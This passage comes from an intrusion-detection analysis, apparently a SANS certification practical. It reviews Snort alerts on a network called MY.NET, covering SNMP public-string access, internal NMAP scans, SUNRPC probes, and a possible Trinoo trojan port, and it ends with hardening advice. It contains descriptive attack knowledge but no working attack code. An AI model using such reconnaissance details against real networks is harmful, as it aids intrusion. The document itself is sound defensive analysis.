05/23-15:33:58.862881  [**] SMB Name Wildcard [**] MY.NET.101.160:137 ->
MY.NET.101.192:137
05/23-15:21:46.686921  [**] SMB Name Wildcard [**] MY.NET.101.160:137 ->
MY.NET.101.192:137
```

SNMP Public Access – Simple Network Management Protocol that allows connections to SNMP with the default string of public. As you can see in the below scan, the SNMP connection is coming from inside MY.NET to MY.NET. There are three basic scenarios: Someone is hoping you've got SNMP configured in a way that will allow them to take control of your network. This would not be good. - Someone is setting up SNMP on their network, and has told their management host to "discover" what else is on the network. - Unfortunately, they've misconfigured it, and it thinks your subnet block is part of its network community. - Some HP network printer drivers will send traffic like this out to other sites on the Internet. Though malicious SNMP scanning does exist (it can identify "open" HP hubs and printers for one thing) there are many cases of software sending out SNMP probes in the natural course of events (programs which use SNMP as one tool to attempt to map out a network via SNMP, printer drivers attempting to browse and probe for HP printers to list for users wishing to select a printer, network management stations 'discovering' managed objects with SNMP agents and associated MIBs, etc). Browsing remote SNMP MIBs you can often determine the remote system type, OS level and other useful information when managing and doing an inventory of your network (of course in the wrong hands that info can be used against you). If the attacker can get the "write" community string he/she can take control of the box.

```
05/23-09:32:38.870319  [**] SNMP public access [**] MY.NET.97.129:1056 ->
MY.NET.101.192:161
05/23-09:39:11.853864  [**] SNMP public access [**] MY.NET.97.129:1088 ->
MY.NET.101.192:161
05/23-09:41:12.371982  [**] SNMP public access [**] MY.NET.97.129:1094 ->
MY.NET.101.192:161
```

Network Traffic originating from MY.NET – Upon reviewing the logs, there was a surprising amount of traffic being generated from within MY.NET being directed against MY.NET. Specifically, there appeared to be three main hosts that were generating this traffic that is considered too hostile. The three hosts are identified as MY.NET.253.12, MY.NET.1.3 and MY.NET.70.234.

MY.NET.253.12

Beginning with MY.NET.253.12 it was discovered that MY.NET.253.12 was performing a multitude of hostile scans against other nodes within MY.NET. The type of activity consisted of null scans, NMAP fingerprinting, NMAP tcp pings, spp_portscans, wingate attempts and SUNRPC accesses. This traffic was concentrated over a six-day period of time from May 27 to June 2 and occurred nearly 24 hours a day. MY.NET.253.12, also

gained access to hosts inside MY.NET or port 32771, which is known to have SUNRPC rpcbind listening on it. Rpcbind permits a remote attacker to insert and delete entries without super user status by spoofing a source address. Ironically, it inserts the entries as being owned by super user . There was approximately 92,322 packets of data generated from MY.NET.253.12. In order for a host from MY.NET to generate this type of data, one of two possibilities exist. Either an employee is responsible or the host has been compromised and is being controlled by an intruder. In either case, further investigation should be a top priority.

```
05/28-14:46:31.666763  [**] spp_portscan: portscan status from MY.NET.253.12:
36 connections across 1 hosts: TCP(36), UDP(0) [**]
05/28-14:31:05.245775  [**] SUNRPC highport access! [**] MY.NET.253.12:43750
-> MY.NET.16.0:32771
05/28-14:31:39.938150  [**] WinGate 8080 Attempt [**] MY.NET.253.12:43750 ->
MY.NET.16.0:8080
05/28-14:32:32.913487  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 ->
MY.NET.16.0:42407
05/28-14:32:56.087697  [**] Probable NMAP fingerprint attempt [**]
MY.NET.253.12:43755 -> MY.NET.16.1:7
05/28-14:32:56.087358  [**] Null scan! [**] MY.NET.253.12:43754 ->
MY.NET.16.1:7
05/28-14:30:50.876461  [**] SUNRPC highport access! [**] MY.NET.253.12:43746
-> MY.NET.16.0:32771
05/28-14:30:51.185774  [**] SUNRPC highport access! [**] MY.NET.253.12:43747
-> MY.NET.16.0:32771
06/01-00:01:52.388125  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 ->
MY.NET.101.126:43059
```

MY.NET.1.3 – host has also scanned multiple addresses inside MY.NET. These scans were UDP scans and they are again hostile**.** In order for a host from MY.NET to generate this type of data, one of two possibilities exist. Either an employee is responsible or the host has been compromised and is being controlled by an intruder. In either case, further investigation should be a top priority. These scans took place on 5/24 – 6/17, 2000. In the logs, there were multiple addresses that scanned this computer system including DNS scans, and Port 109 POP2 scan, from Internet addresses of 208.18.8.2 (MBS Textbook Exchange on 5/22), 210.118.8.50 (JC HYUN System of Korea), and IP address 147.150.225.137 (British Telecommunications). As you can see in the below examples, MY.NET.1.3 scanned My.NET.101.89 on various dates looking for udp services listening on MY.NET. MY.NET.1.3 scanned MY.NET.101.89 on all ports.

```
May 25 02:23:51 MY.NET.1.3:53 -> MY.NET.101.89:59518 UDP
Jun  1 00:30:58 MY.NET.1.3:53 -> MY.NET.101.89:39643 UDP
Jun  7 00:15:51 MY.NET.1.3:53 -> MY.NET.101.89:47283 UDP
Jun 11 01:42:48 MY.NET.1.3:53 -> MY.NET.101.89:45035 UDP
Jun 11 01:42:48 MY.NET.1.3:53 -> MY.NET.101.89:45036 UDP
Jun 17 07:04:23 MY.NET.1.3:53 -> MY.NET.101.89:63172 UDP
```

MY.NET.70.234 – this host was observed in the logs scanning MY.NET on 5/28/200; this host scanned the MY.NET across multiple hosts. These scans are considered hostile and are not part of every day network traffic. These scans may have been launched by a

compromised system or by a curious employee. In either case, further investigation into this computer system would be warranted. Note: this host was scanned by many Internet addresses including wingate scans on 1080 and 8080, portmapper scans on 111, UDP scans. These Internet addresses belonged to Orcon Internet in Auckland and Earthlink of Pasedena California.

```
05/28-15:47:01.954022  [**] spp_portscan: portscan status from MY.NET.70.234:
31 connections across 31 hosts:
15:47:13.137555  [**] spp_portscan: portscan status from MY.NET.70.234: 31
connections across 31 hosts:
```

MY.NET.253.52 – This host was logged attempting high port access on MY.NET.101.89 on 5/25,2000. This action raises suspicion because Trojans are known to run on ports 34555 and port 35555. The Trojan name is Trinoo and is a denial of service program. To see an internal address scan an internal address for a Trojan port would warrant further investigation. This host may now be compromised or an action of a hostile employee. This was scanned by numerous Internet addresses on numerous dates, and high port access was attempted by Internet addresses on numerous dates. Some of the Internet addresses were on the Watchlist, which consists of IP addresses that have been involved with suspicious activity.

```
05/23-21:43:37.713982  [**] Watchlist 000222 NET-NCFC [**]
159.226.120.14:25 -> MY.NET.253.52:45800
05/25-21:32:58.669893  [**] Watchlist 000222 NET-NCFC [**]
159.226.21.171:25 -> MY.NET.253.52:62266
06/23-13:14:50.669891  [**] GIAC 000218 VA-CIRT port 34555 [**]
16.32.243.136:25 -> MY.NET.253.52:34555
```

Summary:

After one month of monitoring this network, it is apparent that further investigation of several hosts needs to be done to ensure they have not been compromised. It is quite apparent that MY.NET suffers from continually being probed and scanned, both randomly seeking available services as well as being directly targeted in search of Trojan Horses and other vulnerabilities. Also observed was the transfer of the Happy 99 virus via email. Several networking security measures need to be examined and hardened such as the Windows File & Print sharing and the SNMP public & private strings. Install the latest patches on the operating systems to prevent exploitation.
By taking additional security measures, MY.NET will be able to avoid the loss of data as well as being responsible for innocently attacking others machines. A benefit of eliminating this excessive amount of random network traffic is an increase in network performance and security.

Last Updated: July 28th, 2017

Upcoming Training

SANS San Antonio 2017	San Antonio, TX	Aug 06, 2017 - Aug 11, 2017	Live Event
SANS Boston 2017	Boston, MA	Aug 07, 2017 - Aug 12, 2017	Live Event
SANS Adelaide 2017	Adelaide, Australia	Aug 21, 2017 - Aug 26, 2017	Live Event
SANS Network Security 2017	Las Vegas, NV	Sep 10, 2017 - Sep 17, 2017	Live Event
SANS vLive - SEC503: Intrusion Detection In-Depth	SEC503 - 201709,	Sep 11, 2017 - Oct 18, 2017	vLive
Baltimore Fall 2017 - SEC503: Intrusion Detection In-Depth	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	vLive
SANS London September 2017	London, United Kingdom	Sep 25, 2017 - Sep 30, 2017	Live Event
SANS Baltimore Fall 2017	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	Live Event
Community SANS Scottsdale SEC503	Scottsdale, AZ	Oct 02, 2017 - Oct 07, 2017	Community SANS
SANS October Singapore 2017	Singapore, Singapore	Oct 09, 2017 - Oct 28, 2017	Live Event
Community SANS Ottawa SEC503	Ottawa, ON	Oct 16, 2017 - Oct 21, 2017	Community SANS
SANS Berlin 2017	Berlin, Germany	Oct 23, 2017 - Oct 28, 2017	Live Event
San Diego Fall 2017 - SEC503: Intrusion Detection In-Depth	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	vLive
SANS San Diego 2017	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	Live Event
SANS Seattle 2017	Seattle, WA	Oct 30, 2017 - Nov 04, 2017	Live Event
SANS Paris November 2017	Paris, France	Nov 13, 2017 - Nov 18, 2017	Live Event
Community SANS Pensacola SEC503	Pensacola, FL	Nov 27, 2017 - Dec 02, 2017	Community SANS
SIEM & Tactical Analytics Summit & Training	Scottsdale, AZ	Nov 28, 2017 - Dec 05, 2017	Live Event
SANS Cyber Defense Initiative 2017	Washington, DC	Dec 12, 2017 - Dec 19, 2017	Live Event
SANS Security East 2018	New Orleans, LA	Jan 08, 2018 - Jan 13, 2018	Live Event
SANS Las Vegas 2018	Las Vegas, NV	Jan 28, 2018 - Feb 02, 2018	Live Event
SANS Dallas 2018	Dallas, TX	Feb 19, 2018 - Feb 24, 2018	Live Event
SANS OnDemand	Online	Anytime	Self Paced
SANS SelfStudy	Books & MP3s Only	Anytime	Self Paced